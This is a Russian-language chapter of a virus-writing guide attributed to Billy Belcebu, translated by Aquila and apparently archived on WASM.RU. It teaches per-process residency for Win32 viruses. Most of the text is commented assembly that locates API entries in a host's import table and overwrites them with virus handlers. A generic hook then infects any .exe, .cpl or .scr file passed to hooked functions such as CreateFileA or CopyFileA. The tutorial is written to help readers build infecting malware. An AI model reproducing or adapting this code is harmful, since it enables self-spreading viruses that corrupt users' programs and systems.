Путеводитель по написанию вирусов под Win32: 6. Перпроцессная резидентность — Архив WASM.RU
Теперь мы обсудим интересную тему для дискуссии: перпроцессная резидентность, единственный вид резидентности, доступный под всеми Win32 платформами. Я поместил эту главу отдельно от главы Ring-3, потому что эта тема слишком сложна для такой вводной главы, такой как Ring-3.
Введение
Перпроцессная резидентность впервые была реализованна Jacky Qwerty из вирусной группы 29A в 1997 году. Кроме того, что это был первый (по мнению средств массовой информации, а не в реальности - Win32.Jacky) Win32-вирус, он также был первым резидентным Win32-вирусом, использующим никогда ранее не виданную технику: перпроцессную резидентность. Теперь вы, по-видимому, удивляетесь: 'Что же такое, ядрена матрена, эта перпроцессная резидентность?'. Я уже объяснил это в одной из статей журнала DDT#1, но здесь я проведу более глубокий анализ этого метода. Когда вы вызываете функцию API, вы используете адрес, сохраненный системой во время выполнения в таблице импортов, и меняете адрес функции API на адрес своего собственного кода, заражаещего файлы при вызове перехваченной функции. Я знаю, что это немного путанно и тяжело понять, но в вирмейкерстве все вначале выглядет сложным, хотя потом становится очень простым .
--[DDT#1.2_4]---------------------------------------------------------------
Это единственный известный мне способ сделать Win32 вирусы резидентными. Да, вы правильно прочитали: Win32, а не Win9X. Этот способ будет также работать и под WinNT. Во-первых, вы должны знать, что такое процесс. Вещь, которая меня озадачила больше всего, что люди, начавшие программировать под Win32, знают, что это такое и часто это используют, но не знают его название. В общем, когда мы запускаем Windows-приложение, мы создаем процесс . Очень легко поянть. И в чем состоит данная резидентность? Сначала мы должны зарезервировать память, куда поместить тело вируса. Это можно сделать с помощью функции "VirtualAlloc". Но... как перехватить функции API? Наиболее полезное решение, приходящее мне в голову состоит в том, чтобы изменять адреса в таблице импортов. С моей точки зрения, это единственный возможный путь. Поскольку в импорты можно писать, наша задача во многом облегчается, так как нам не нужна помощь никаких функций VxDCall0...
У этого вида резидентности есть и слабая сторона... так как мы опираемся на таблицу импортов, мы можем работать только с импортированными функциям, и скорость заражения очень сильно зависит от файла, который мы заразили. Например, если мы заразим CMD.EXE в WinNT и у нас будут обработчики FindFirstFile(A/W) и FindNextFile(A/W), то это позволит заразить все файлы, найденные с помощью этих функций. Это сделает наш вирус очень заразным, так как эти функции будут использоваться, когда мы выполним команду DIR под WinNT. Как бы то ни было, использовать одну перпроцессную резидентность не стоит, чтобы наш вирус был более заразным, небходимо использовать другие методы, например как в Win32.Cabanas, где заражались файлы в \WINDOWS и \WINDOWS\SYSTEM. Другим хорошим способом может быть заражение определенных файлов при первом запуске в системе...
--[DDT#1.2_4]---------------------------------------------------------------
Я написал это в декабре 1998. С тех пор я понял, как это можно сделать без резервирования памяти, но тем не менее я помещу код так, как есть, чтобы вы поняли лучше.
Обработка таблицы импортов
Далее следует структура таблицы импортов.
IMAGE_IMPORT_DESCRIPTOR
А теперь посмотрим, что об этом говорит Мэтт Питрек.
DWORD Characteristics
Когда-то это могло быть набором флагов. Тем не менее Microsoft изменила ее значение и никогда не заботилась о том, чтобы обновить WINNT.H. На самом деле это поле является смещением (RVA) массива указателей, каждый из которых указывает на структуру IMAGE_IMPORT_BY_NAME.
DWORD TimeDateStamp
Время/дата, указывающая на то, когда был создан файл.
DWORD ForwarderChain
Это поле относится к форвардингу. Форвардинг - это когда одна DLL шлет ссылку на некоторые свои функции другой DLL. Например, в WinNT NTDLL.DLL (похоже) шлет некоторые из своих экспортируемых функций KERNEL32.DLL. Это поле содержит индекс в массиве FirstThunk. Функция, проиндексированная в этом поле, будет отфорваржена другой DLL. К сожалению, формат форвардинга функций недокументирован, а пример форварднутых функций сложно найти.
DWORD Name
Это RVA на строку в формате ASCIIz, содержащую имя импортируемой DLL, например "KERNEL32.DLL" и "USER32.DLL".
PIMAGE_THUNK_DATA FirstThunk
Это поле является смещением (RVA) объединения IMAGE_THUNK_DATA. Почти в каждом случае данное объединение интерпретируется как указатель на структуру IMAGE_IMPORT_BY_NAME. Если поле не является одним из этих указателей, то это вероятно ординал. Из документации не совсем понятно, можно ли импортивать функцию по ординалу, а не по имени. Важными полями являются IMAGE_IMPORT_DESCRIPTOR - это имя импортируемой DLL и два массива указателей IMAGE_IMPORT_BY_NAME. В EXE-файле два массива (на которые указывают поля Characteristics и FirstThunk) идут параллельно друг с другом и каждый завершается NULL-элементом. Указатели в обоих массивах указывают на структуру IMAGE_IMPORT_BY_NAME.
Теперь, когда вы знаете определения Мэтта Питрека, я помещу здесь необходимый код, чтобы получать из таблицы импортов адреса API-функций и адрес, где находится смещение на функцию (которую мы хотим перехватить, но об этом чуть попозже).
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; ; процедура GetAPI_IT ; -------------------- ; ; Далее следует код, который получает кое-какую информацию из таблицы импор- ; тов. GetAPI_IT proc ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, давайте начнем веселье. Параметры, которые требуются для этой ; ; функции, и возвращаемое значение следующие: ; ; ; ; ВВОД . EDI : Указатель на имя API-функции (чувствительно к регистру) ; ; ВЫВОД . EAX : Адрес API-функции ; ; EBX : Адрес адреса API-функции в таблице импортов ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; mov dword ptr [ebp+TempGA_IT1],edi ; Сохраняем указатель на имя mov ebx,edi xor al,al ; Ищем "\0" scasb jnz $-1 sub edi,ebx ; Получаем размер имени mov dword ptr [ebp+TempGA_IT2],edi ; Сохраняем размер имени ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы сохраняем указатель на имя API-функции во временной ; ; переменной, а затем ищем конец строки, помеченный 0, после чего вычитаем ; ; от нового значения EDI (которое указывает на 0) его старое значение, ; ; получая, таким образом, размер имени API-функции. Просто, не правда ли? ; ; Далее мы сохраняем размер API-функции в другой временной переменной. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; xor eax,eax ; Обнуляем EAX mov esi,dword ptr [ebp+imagebase] ; Загружаем базу образа проц. add esi,3Ch ; Указатель на смещение 3Ch lodsw ; Получаем заголовок PE проц. add eax,dword ptr [ebp+imagebase] ; адрес (нормализованный!) xchg esi,eax lodsd cmp eax,"EP" ; Это действительно PE? jnz nopes ; Дерьмо! add esi,7Ch lodsd ; Получаем адрес push eax lodsd ; EAX = Размер pop esi add esi,dword ptr [ebp+imagebase] ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Первое, что мы делаем - это очищаем EAX, потому что нам не нужен мусор в ; ; его верхнем слове. Далее нам мы проверяем PE-сигнатуру заголовка ; ; носителя. Если все в порядке, мы получаем указатель на секцию с таблицей ; ; импортов (.idata). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; SearchK32: push esi mov esi,[esi+0Ch] ; ESI = Укаазтель на имя add esi,dword ptr [ebp+imagebase] ; Нормализуем lea edi,[ebp+K32_DLL] ; У-ль на "KERNEL32.dll",0 mov ecx,K32_Size ; ECX = Размер этой строки cld ; Очищаем флаг направления push ecx ; Сохр. размер для дал.исп. rep cmpsb ; Сравниваем байты pop ecx ; Восст. размер pop esi ; Восст. у-ль на импорты jz gotcha ; Если совп., делаем переход add esi,14h ; Получаем след. поле jmp SearchK32 ; След. проход цикла ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы заново push'им ESI. Нам необходимо его сохранить, так как это ; ; начало секции .idata. Затем мы получаем в ESI RVA имена (указатели), ; ; после чего нормализуем это значение с базой образа, превращая, таким ; ; образом его в VA. Далее мы помещаем в EDI указатель на строку ; ; "KERNEL32.dll", в ECX загружаем размер строки, сравниваем две строки и ; ; если они совпадают, значит мы получили еще одну подходящую строку. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; gotcha: cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0? jz nopes ; Отваливаем, если так mov edx,[esi+10h] ; Получаем FirstThunk <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:"> add edx,dword ptr [ebp+imagebase] ; Нормализуем! lodsd or eax,eax ; Это 0? jz nopes ; Дерьмо... xchg edx,eax ; Получаем указатель на него! add edx,[ebp+imagebase] xor ebx,ebx ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, равно ли поле OriginalFirstThunk NULL, и если так, ; ; выходим из процедуры с ошибкой. Затем мы получаем значение FirstThunk и ; ; нормализуем его, прибавляя imagebase, а затем проверяем, равно ли оно 0 ; ; (если так, у нас проблемы, тогда выходим). Помещаем в EDX полученый ; ; адрес (FirstThunk), нормализуем, после чего в EAX мы сохраняем указатель ; ; на поле FirstThunk. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; loopy: cmp dword ptr [edx],00h ; Последний RVA? Хм... jz nopes cmp byte ptr [edx+03h],80h ; Ординал? Duh... jz reloop mov edi,dword ptr [ebp+TempGA_IT1] ; Получ. указ. на имя API-ф-ции mov ecx,dword ptr [ebp+TempGA_IT2] ; Получаем размер имени mov esi,[edx] ; Получаем текущую строку add esi,dword ptr [ebp+imagebase] inc esi inc esi push ecx ; Сохраняем ее размер rep cmpsb ; Сохраняем обе строки pop ecx ; Восстанавливаем размер jz wegotit reloop: inc ebx ; Увеличиваем значение указателя add edx,4 ; Получаем указатель на другую loop loopy ; импортированную API-функцию ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, не находимся ли мы в последнем элементе массива ; ; (который отмечен символом null), и если так, заканчиваем работу. Затем ; ; мы проверяем, является ли элемент ординалом, если так, мы получаем еще ; ; один. Далее идет самое интересное: мы помещаем в EDI сохраненный ранее ; ; указатель на имя API-функции, которую мы искали, в ECX у нас находится ; ; размер строки, и мы помещаем в ESI указатель на текущую API-функцию в ; ; таблице импортов. Мы делаем сравнение между этими двумя строками, и если ; ; они не совпадают, мы получаем следующую, пока не найдем ее или не ; ; достигнем последней API-функции в таблице импортов. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; wegotit: shl ebx,2 ; Умножаем на 4 (размер dword) add ebx,eax ; Добавляем к значению FirstThunk mov eax,[ebx] ; EAX = адрес API-функции ;) test al,0 ; Это чтобы избежать перехода и org $-1 ; немного соптимизировать <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:"> nopes: stc ; Ошибка! ret ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Очень просто: поскольку счетчик у нас находится в EBX, а массив был ; ; массивом DWORD'ов, мы умножаем на 4 (чтобы получить относительное ; ; смещение, которое отмечает адрес API), а после этого у нас находится в ; ; EBX указатель на желаемый адрес API в таблице импортов, а в EAX у нас ; ; находится адрес API-функции. Совершенно <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:">. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; GetAPI_IT endp ;---[ CUT HERE ]-------------------------------------------------------------Теперь мы знаем, как играть с таблицей импортов. Но нам нужно еще кое-что.
Получение базы образа во время выполнения
Одна из самых наиболее частых заблуждений - это мнение, что база образа будет всегда одной и той же или всегда будет равна 400000h. Но на самом деле, все далеко не так. Независимо от того, какая база образа будет указана в заголовке вашего файла, система может легко поменять во время запуска, поэтому мы будем пытаться получить доступ к неверному адресу и получить неожиданные результаты. Получить базу образа можно достаточно просто. Просто используйте обычную процедуру получения дельта-смещения.
Код (Text):
virus_start: call tier ; Push'им в ESP адрес возврата tier: pop ebp ; Получаем адрес возврата sub ebp,offset realcode ; И отнимаем начальное смещениеОк? Давайте представим, что, например, выполнение началось по адресу 401000h (как почти во всех слинкованных TLINK'ом файлах). Поэтому когда мы делаем POP, в EBP у нас будет что-то вроде 00401005h. Тогда что вы получите, если вычтете от него virus_start, а от результата мы снова вычтем текущий EIP (который во всех TLINKованных файлах равен 1000h)? Да, мы получим базу образа! Таким образом, мы будем делать следующее:
Код (Text):
virus_start: call tier ; Push'им в ESP адрес возврата tier: pop ebp ; Получаем текущий адрес mov eax,ebp sub ebp,offset realcode ; И отнимаем начальное смещение sub eax,00001000h ; Отнимаем текущий EIP (должен NewEIP equ $-4 ; быть пропатчен во время заражения sub eax,(tier-virus_start) ; Отнимаем остальное <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:">И не забудьте пропатчить переменную NewEIP во время заражения (если модифицируете EIP), что она всегда была равна переменной по смещению 28h заголовка PE, то есть RVA EIP программы .
[ Мой перехватчик API-функций ]
Далее следует мое дополнение к моей процедуре GetAPI_II. Она базируется на примерно следующей структуре:
Код (Text):
db ASCIIz_API_Name dd offset (API_Handler)Например:
Код (Text):
db "CreateFileA",0 dd offset HookCreateFileAHookCreateFileA - это процедура, которая обрабатывает перехваченную функцию. Код, который я использовал с этими структурами, следующий:
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- HookAllAPIs: lea edi,[ebp+@@Hookz] ; Указатель на первую API-функцию nxtapi: push edi ; Сохраняем указатель call GetAPI_IT ; Получаем его из таблицы импортов pop edi ; Восстанавливаем указатель jc Next_IT_Struc_ ; Не получилось? Проклятье... ; EAX = адрес API-функции ; EBX = указатель API-функции ; в таблице импортов xor al,al ; Достигаем конца имени API-функции scasb jnz $-1 mov eax,[edi] ; Получаем смещение обработчика add eax,ebp ; Приводим в соотве. с дельта-см. mov [ebx],eax ; И помещаем в импорты! Next_IT_Struc: add edi,4 ; Получаем следующий элемент ст-ры! cmp byte ptr [edi],"." ; Достигли пследней API-ф-ции? Гр.. jz AllHooked ; Мы перехватили все jmp nxtapi ; Следующий оборот цикла AllHooked: ret Next_IT_Struc_: xor al,al ; Получаем конец строки scasb jnz $-1 jmp Next_IT_Struc ; И возвращаемся обратно <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:"> @@Hookz label byte db "MoveFileA",0 ; Несколько примеров dd (offset HookMoveFileA) db "CopyFileA",0 dd (offset HookCopyFileA) db "DeleteFileA",0 dd (offset HookDeleteFileA) db "CreateFileA",0 dd (offset HookCreateFileA) db "." ; Конец массива <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:"> ;---[ CUT HERE ]-------------------------------------------------------------Я надеюсь, что здесь все достаточно понятно .
Универсальный перехватчик
Возможно вы помните, что есть некоторые API-функции, которые принимают последним заPUSHенным параметром указатель на файл (который может быть исполняемым), поэтому мы можем их перехватить и применить универсальный перехватчик, который сначала проверяет расширение файла, и если он исполняемый, мы можем заразить его без всяких проблем .
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; Несколько различных хуков <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:"> HookMoveFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_MoveFileA] ; передаем контроль ; оригинальной API-функции HookCopyFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_CopyFileA] ; передаем контроль ; оригинальной API-функции HookDeleteFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_DeleteFileA] ; передаем контроль ; оригинальной API-функции HookCreateFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_CreateFileA] ; передаем контроль ; оригинальной API-функции ; The generic hooker!! ; Универсальный перехватчик!! DoHookStuff: pushad ; Push'им все регистры pushfd ; Push'им все флаги call GetDeltaOffset ; Получаем дельта-смещение в EBP mov edx,[esp+2Ch] ; Получаем имя файла, который нужно заразить mov esi,edx ; ESI = EDX = file to check reach_dot: lodsb ; Получаем символ or al,al ; Найден NULL? Дерьмо... jz ErrorDoHookStuff ; Тогда сваливаем cmp al,"." ; Найдена точка? Интересно... jnz reach_dot ; Если нет, следующий оборот цикла dec esi ; Фиксим lodsd ; Помещаем расширение в EAX or eax,20202020h ; Приводим строку к нижнему регистру cmp eax,"exe." ; Это EXE? Заражаем!!! jz InfectWithHookStuff cmp eax,"lpc." ; Это CPL? Заражаем!!!! jz InfectWithHookStuff cmp eax,"rcs." ; Это SCR? Заражаем!!!! jnz ErrorDoHookStuff InfectWithHookStuff: xchg edi,edx ; EDI = имя файла, который нужно заразить call InfectEDI ; Заражаем файл!! ;) ErrorDoHookStuff: popfd ; Восстанавливаем все предохраненные popad ; регистры, чтобы ничего не случилось <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:"> push ebp call GetDeltaOffset ; Получаем дельта-смещение xchg eax,ebp ; Помещаем дельта-смещение в EAX pop ebp ret ;---[ CUT HERE ]-------------------------------------------------------------Вот некоторые API-функции, которые можно перехватить с помощью этой универсальной процедуры: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA, CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA, CopyFileExA, OpenFile.
Заключение
Если что-то непонятно, пишите мне (автору этого текста, а не переводчику! - прим. пер.). Я бы мог привести пример простого пер-процессного резидентного вируса, но единственный подобный вирус, который я написал, слишком сложен и у него слишком много фич, поэтому он будет для вас непонятен . © Billy Belcebu, пер. Aquila
Путеводитель по написанию вирусов под Win32: 6. Перпроцессная резидентность
Дата публикации 28 окт 2002